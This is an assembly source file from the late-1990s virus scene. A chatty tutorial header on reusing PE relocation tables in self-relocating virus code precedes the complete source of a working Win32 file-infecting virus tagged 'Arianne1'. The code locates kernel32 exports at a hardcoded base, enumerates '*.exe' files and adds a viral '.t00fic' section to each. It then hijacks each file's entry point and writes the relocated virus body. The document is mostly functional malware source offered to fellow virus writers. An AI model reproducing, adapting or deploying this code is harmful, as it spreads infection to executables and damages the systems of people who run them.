;
;	Mister DiNAM0's magic relocation miniroutines 
;
;
;  Hey pal, you remember your first com virus, when typing call deltaoffset
;  and discovering the lea instruction. Yes, this old good time when you
;  were still discovering sexuality. Now, I will show you somethinge else.
;  No, nothing related to sex, but about the delta pointers. I was looking
;  my small PE a few days ago, and I tought, these relocs are never used,
;  but only for dlls. Fuckoff, that's shit, my virus is also a relocatable
;  code, so I could use these datas for my virus. That's rite, but I have to
;  save the reloc in my virus code, so what to do ? Okay, Mister DiNAM0 will
;  explain you what to do.
;
;  First, imagine you have coded your self PE virus (I asked a friend on IRC
;  to send me a basic one for testing) 
;
;  This virus have all a series of pointers into his code. Usually, you make 
;  lea edx,[ebp+payload] or such instruction. But this suck, and appears 
;  strange when tracing/emulating. 
;  
;  But, when tasm compile the binary, it build a reloc section. This reloc
;  section contains offset where you have to apply the delta pointer. The 
;  Delta pointer is basically a substraction of actual pointer by image base
;  location. Adding this delta pointer result that the original code have 
;  all pointers and direction correct even if it's not loaded (runned) at
;  his native adress
;
;  Using theses routines have only 1 small difficulty
;  		-> you have to know how much reloc your virus need
;  So the tip is to preview a big buffer for them, like 1 ko, on this exemple
;  I just got about 52 bytes of relocation.
;  
;  the BuildFixUp parameters:	ecx = how much of relocation
;				edx = from where you start relocation
;
;  relocation are placed on a buffer called relocbuff (you have to implement
;  the buffers somewhere in your virus)
;
;	  	      return:  	ecx = relocbuff ideal size
;
;  Okay, I got relocation, so what I need to do now ?
;
;	When infecting, the next copy of your virus will be somewhere else in
;  the memory, but as win95/Nt don't apply anymore reloc and they are killed
;  with win2K. You can put your virus code in the host, and apply the new
;  delta offset to your virus. Now, your virus will be totally integrated to
;  his environment. To do such, use the small routine makefixup. Your virus
;  will at each infection apply reloc to a copy of his image. So makefixup and
;  reloc buffer HAVE TO BE into the virus.
;
;      makefixup parameters:   edx = new address to apply reloc to
;			       esi = old adress from where we come
;
;  All this can appears a bit complicate, it's very easy to code himself and
;  it works well. Anyway, it's a great challenge but stop blabla, show code.
;
;
;							Mister DiNAM0 
;
; Greets: - to too much underground poeple that nobody knows :)
;
;

.386
locals
.model flat

;Define the needed external functions and constants here.

extrn		ExitProcess:Proc

.data                                   ;the data area

dummy           dd      0               ;this needs some data or it won't work!

imagebase	equ	00400000h	;this will have to be fixed
					;but it's in 80% of the time the case.
.code

HOST:

	mov	edx,offset start0	; this will be a test, we will
	mov	ecx,pseudofin-start0	; drop the virus on the stack
					; apply the reloc over there and run 
					; it
	push	edx
	call	buildfixup		; generate the self relocations
	pop	esi

	mov	ecx,finboom-boom	; copy virus to stack
	sub	esp,ecx
	mov	edi,esp

	push	edi				; set for a future call
	push	esi
	push	dword ptr [currentbase]		; save current base

	mov	dword ptr [currentbase],edi	; and preview for apply reloc
	push	edi

	repz	movsb				; copy it over there
	pop	edx				; and set last image
	pop	dword ptr [currentbase]		; restore it
	pop	esi	
	sub	esi,dword ptr [currentbase]	; calculate new base
	add	dword ptr [currentbase],esi
	mov	esi,dword ptr [currentbase]	; blablabla
	mov	edi,edx

	call	makefixup			; apply fix ups

	ret					; execute virus on stack

; build fixup - - - - - - - - - - - - - - It will search himself the offset of
;					  relocations, let him do the job

buildfixup:

	mov	eax,edx
	lea	ebx,[eax+ecx]

	lea	edi,[relocbuff]				; where will be put rel
	mov	esi,dword ptr cs:[imagebase+03Ch]	; get pe header
	add	esi,imagebase

	mov	edx,dword ptr cs:[esi+160]		; point to reloc
	add	edx,imagebase				; sections

	mov	ecx,edx
	add	ecx,dword ptr cs:[esi+164]		; relocation size

relocmylife:

	cmp	eax,dword ptr [edx]
	jb	muyloop1				; not concerned by
							; relocation?
	push	ecx
	push	edx

	mov	edx,dword ptr [edx]	
	mov	dword ptr [temporaryRVA0],edx		; look the rva of
	pop	edx					; the following 
	push 	edx					; relocs

	lea	esi,dword ptr [edx+8]			; point to rel
	mov	ecx,dword ptr [edx+4]
	sub	ecx,8					; point to rel size

loopmylife:

	movzx	edx,word ptr [esi]			; get the curr

	push	edx
	and	dh,11110000b

	cmp	dh,30h
	pop	edx
	jne	otherreloctype				; I never saw other
							; type
	and	dx,111111111111b
	add	edx,dword ptr [temporaryRVA0]
	add	edx,imagebase

	cmp	edx,eax
	jb	otherreloctype				; if rel out of
							; virus limit,
	cmp	edx,ebx					; don't save it
	ja	otherreloctype

	sub	edx,eax					; now save it into
	mov	word ptr [edi],dx			; virus
	add	edi,2

otherreloctype:

	add	esi,2					; get next reloc

	sub	ecx,2
	jnz	loopmylife				; scan each reloc
	
	pop	edx
	pop	ecx

muyloop1:
	
	add	edx,dword ptr cs:[edx+4]		; look if there's other
	cmp	edx,ecx					; relocation block
	jb	relocmylife

finishapplyreloc:

	mov	ecx,edi
	sub	ecx,offset relocbuff			; return size of
	ret						; relocation buffer

currentbase:	dd	imagebase			; take care only
temporaryRVA0:	dd	0				; if image base <>
							; 00400000h
; build fixup - - - - - - - - - - - - - -

boom:

win9x	equ 0BFF70000h
winNt	equ 077f00000h

; win2000 equ 07bf0000h ???

kernelbase	equ 	win9x

start0:		
	pushad					; save all reg
						; IP of Odelta + 5
	push	dword ptr [ReturnToHost]	; save the return to host
					; yeah it's a dumb way but I don't
					; want to code an other
        lea     edx,[Apilist]		; set the GetTheList procedure
	lea	ebx,[Hardcoded]
        mov     ecx,7				; number of api

GetTheList:					; now start the loop

        push    ecx ebx
	Call 	GetProc				; get the RVA of the API in ebx
        pop     ebx ecx
	cmp	eax,-1
	je	Fini				; if problem then quit 
	mov	dword ptr [ebx],eax
	add	ebx,4
        loop    GetTheList			; get ALL Apis

	call	FindFirst			; find 1st file in the 
	cmp	eax,-1				; directory
	je	Error0

boucle:	call 	Infection			; infect it
	
	call	FindNext			; scan if there's an other one
	cmp 	eax,0
	jne 	boucle

Error0:	

Fini:		pop	dword ptr [ReturnToHost]	; restore host IP back
		popad					; restore everything
		db	0B8h				; push host original
							; entry point
ReturnToHost:	dd 	0

		push	eax				; put in eax so the
		ret					; emulation is perfect
					; take a look on the SEH ( eax in win95
					; equal Entry Point RVA
Infection:					; Pseudo :]

	call 	Open_file			; open file 
	jz	Finished

	mov 	edx,03ch
	call	Seek_file			; search at 3Ch the offset of
						; the extended exe header
	mov	ecx,04h				; Read 4 bytes and 
	lea 	edx,[ReadyForHost]		; save it in ReadyForHost
	call	Read_file

	mov 	edx,dword ptr [ReadyForHost]     ; set edx at ReadyForHost
	push	edx
	call	Seek_file			; seek to edx in the current
						; file
	mov 	ecx,(4096/2)+0f8h
	lea	edx,[ReadyForHost]		; read a lot of bytes from 
	call	Read_file			; there ( just to play with
	pop	edx				; section

	cmp 	word ptr [ReadyForHost],'EP'	; look if that's really
	jne 	CloseFile			; a Portable exe

	push 	edx				; edx equal the offset of the
						; header
	xor	eax,eax				
	mov 	ax,word ptr [ReadyForHost+6]   ; ax = number of section
	inc	word ptr [ReadyForHost+6]	;add 1 to the number of section
	dec	eax				; now we have to found
	mov 	ecx,28h				; the offset of the last 
	mul	ecx				; section to drop our 
	push	eax				; viral section
	pop	esi				; then Esi equal where we drop

	lea	esi,[ReadyForHost+0f8h+esi]	; point esi to our buffer
	cmp	dword ptr [esi],'00t.'		; look if we are already here
	pop	edx			; fucking lame stack optimization
	je	CloseFile			; then close file
	push	edx
	lea	edi,[esi+28h]			; copy the previous section
	mov 	ecx,40
	repz	movsb

	lea	edi,[edi-40]			; now edi point to the section
	lea 	esi,[InputToHost]		; and ESI to the '.Star0' 
	mov	ecx,8				; string , set the name of
	repz	movsb				; our section

	lea	esi,[edi-8-40]		; esi point to the last section
	lea	edi,[esi+40]		; and edi to our viral section

	mov 	ecx,dword ptr [ReadyForHost+56]	; calculate the 
	mov 	eax,dword ptr [esi+8]			; new RVA of the
	add	eax,dword ptr [esi+12]			; viral section
	call	Divit
	mov	dword ptr [edi+12],eax

	mov	ecx,dword ptr [ReadyForHost+40]
	add	ecx,dword ptr [ReadyForHost+52]	; keep original entry
	mov	dword ptr [ReturnToHost],ecx	; point
;	add	eax,3				; forgot to delete that line :[
	mov	dword ptr [ReadyForHost+40],eax	; set ENtry point to
							; viral RVA

	mov	ecx,dword ptr [ReadyForHost+56]	; calculate virtual
	mov	eax,fin-start0				; size in order of
	call	Divit					; the object align
	mov	dword ptr [edi+8],eax

	mov 	eax,dword ptr [esi+20]		; get the offset of the last
	add	eax,dword ptr [esi+16]		; plus his size
	mov 	dword ptr [edi+20],eax		; and that physical offset of
	push	eax				; our virus

	mov	ecx,dword ptr [ReadyForHost+60]	; calculate physical
	mov	eax,pseudofin-start0			; in order with size
	call	Divit					; align
	mov	dword ptr [edi+16],eax			; save it in our viral
							; section
	mov	dword ptr [edi+36],20000000h or 40000000h or 80000000h
					; set the viral section flags
	mov	ecx,dword ptr [ReadyForHost+60]	; add to the image 
	mov 	eax,dword ptr [ReadyForHost+80]	; size our virus size
	add 	eax,fin-start0
	call 	Divit
	mov	dword ptr [ReadyForHost+80],eax	; save it

	pop	edx
	call	Seek_file				; seek to previewved
							; endoffile
;---

        mov     ecx,pseudofin-start0			; we copy virus image
	mov	esi,offset start0			; to stack
	sub	esp,ecx					; too lazy to alloc
	mov	edi,esp					; memory

	push	edi
	push	edi
	repz	movsb					; copy it
	pop	edi

	mov	esi,offset start0			; the start of the
							; virus
	mov	edx,dword ptr [ReadyForHost+40]		; our new entrypoint
	add	edx,dword ptr [ReadyForHost+52]		; will be destination
	call	makefixup				; apply relocations

	mov	ecx,pseudofin-start0			; write physical image
	pop	edx
	call	Write_file				; write the virus body
        add     esp,pseudofin-start0			; restore stack

; --

	pop	edx					; seek to the header
	call	Seek_file
	
	mov	ecx,(4096/2)+0F8h
	lea	edx,[ReadyForHost]
	Call	Write_file				; drop the header

CloseFile:

	call	Close_file				; close the file

Finished:

	ret

GetProc:			; kernel scanner

	mov 	eax,-1
	push 	ebp
	mov	edi,kernelbase			; prerecorded address of the
	cmp	word ptr [edi],'ZM'		; kernel
	jne	badpoint			; verify if it's exe
						; but it should allways
	xor	ebx,ebx
	mov	bx,word ptr [edi+3Ch]		; look at [3Ch]
	mov	esi,edi
	add	edi,ebx

	cmp	dword ptr [edi],'EP'		; if it's PE but it should 
	jne	badpoint			; allways

	mov	ebx,dword ptr [edi+120]		; get the export RVA and set
	lea	edi,[esi+ebx]			; to edi

	mov	ecx,dword ptr [edi+24]	; ecx equal number of exports
	mov	ebx,dword ptr [edi+32]	; ebx point to name pointer table
	add	ebx,esi			; so ebx point to the pointer table
	mov	ebp,edx			; ebp is the offset of the asked API

Scanstring:				; this procedure look if the asked
					; api name are equal of the current
	mov	eax,dword ptr [ebx]	; scanned api name , but we test 
	add	eax,esi			; just 4 bytes to gain speed

	mov	eax,dword ptr [eax]
	cmp 	dword ptr [edx],eax
	je	TestName
	
Heresebx:	

	mov	edx,ebp			; if not then set again ebp 
					; if we had tests fail (in TestName)
	add 	ebx,4			; and test the next Kernel API
	dec	ecx			; if ecx are finish the scan fuckup!
	jnz 	Scanstring

	mov 	eax,-1			; return with error code
	jmp	badpoint

TestName:

	mov	eax,dword ptr [ebx]	; here we test all the name 
	add	eax,esi			; there's some ApiDoSomethingA who
					; have a brother ApiDoSomethingW
TestName0:

	push	eax
	mov	al,byte ptr [eax]	; test the byte
	cmp	byte ptr [edx],al
	pop	eax
	jne	Heresebx		; and if not equal then byebye
	inc	eax
	inc	edx
	cmp 	byte ptr [edx+1],0	; if we have zero then everything are
	jne 	TestName0		; okkkkkkkkkkkkayyyyyyyyyyyyy

	mov	al,byte ptr [eax]	; test last byte if okay 
	cmp	byte ptr [edx],al	; if not failed
	jne 	Heresebx

	add	edx,2			; so we have in edx+2 the ordinal of
	push 	edx			; the api

	mov	eax,dword ptr [edi+24]	; this is set to get the api , I don't
	sub	eax,ecx			; really remember how I did that 
	shl	eax,1			; it was quite complex
	
	add	eax,dword ptr [edi+36]		; table RVA
	add	eax,esi				; Add Rva
	xor	ebx,ebx				; set ebx to 0
	mov	bx,word ptr [eax]		;
	xchg	eax,ebx

	shl	eax,2

	add	eax,dword ptr [edi+28]
	add	eax,esi

	mov 	eax,dword ptr [eax]
	add	eax,esi				; eax = the asked rva

	pop	edx

badpoint:

	pop	ebp
	ret

makefixup:

	sub	edx,esi				; get new delta offset
	mov	eax,offset relocbuff		; eax point to the virus
	
bouclemylife:

	movzx	ebx,word ptr [eax]		; get reloc offset item
	cmp	ebx,0				;
	je	finishapply
	add	ebx,edi				; then get offset where patchin
	
	add	dword ptr [ebx],edx		; apply patch
	add	eax,2
	jmp	bouclemylife			; do next
	
finishapply:

	ret					; that's finish


;
;	Functions often called , revised by me to be more easy to call from
;	an infection process
;

Divit:

xor edx,edx
div ecx
inc eax
mul ecx
ret

FindFirst:


push	offset File_Data
push	offset Exe_File

call	dword ptr [FindFirstFile]
mov 	dword ptr [Handle],eax
ret

FindNext:

push	offset File_Data
push 	dword ptr [Handle]

Call	dword ptr [FindNextFile]

ret

Open_file:
push large 0
push large 080h
push large 3
push large 0
push large 0
push 80000000h or 40000000h

push offset File_Data+02ch

Call dword ptr [CreateFile]

mov dword ptr [CurrentHandle],eax
inc eax
ret

Close_file:
push dword ptr [CurrentHandle]
call dword ptr [Close]
ret

Write_file:
mov eax,offset Write
jmp Action_file

Read_file:

mov eax,offset Read

Action_file:

push 0
push offset Iobytes
push ecx
push edx
push dword ptr [CurrentHandle]
Call dword ptr [eax]
ret

Seek_file:
push large 0
push large 0
push edx
push dword ptr [CurrentHandle]
Call dword ptr [SeekFile]
ret

Apilist:					; the list of api we have to

db	'FindFirstFileA',0			; found in the kernel in 
db	'FindNextFileA',0			; memory
db	'CreateFileA',0
db	'_lclose',0
db	'WriteFile',0
db	'ReadFile',0
db	'SetFilePointer',0

trademark:	db ' Arianne1 virus - 06/98 -iKx-Industries'

InputToHost:	db '.t00fic',0,0
Exe_File:	db '*.exe',0

relocbuff:	db	05Ch+2	dup	(0)

Hardcoded:	

FindFirstFile:	
		dd 0	
FindNextFile:	
		dd 0
CreateFile:	
		dd 0
Close:		
		dd 0
Write:
		dd 0
Read:
		dd 0
SeekFile:
		dd 0

pseudofin:

Handle:		dd	0
CurrentHandle:	dd	0
Iobytes:	dd	0

File_Data:	db	2ch+13+5 dup (0)

ReadyForHost:	db 	0F8h dup (0)
TableHost:	db	4096/2 dup (0)

fin:	

finboom:

ends
end HOST
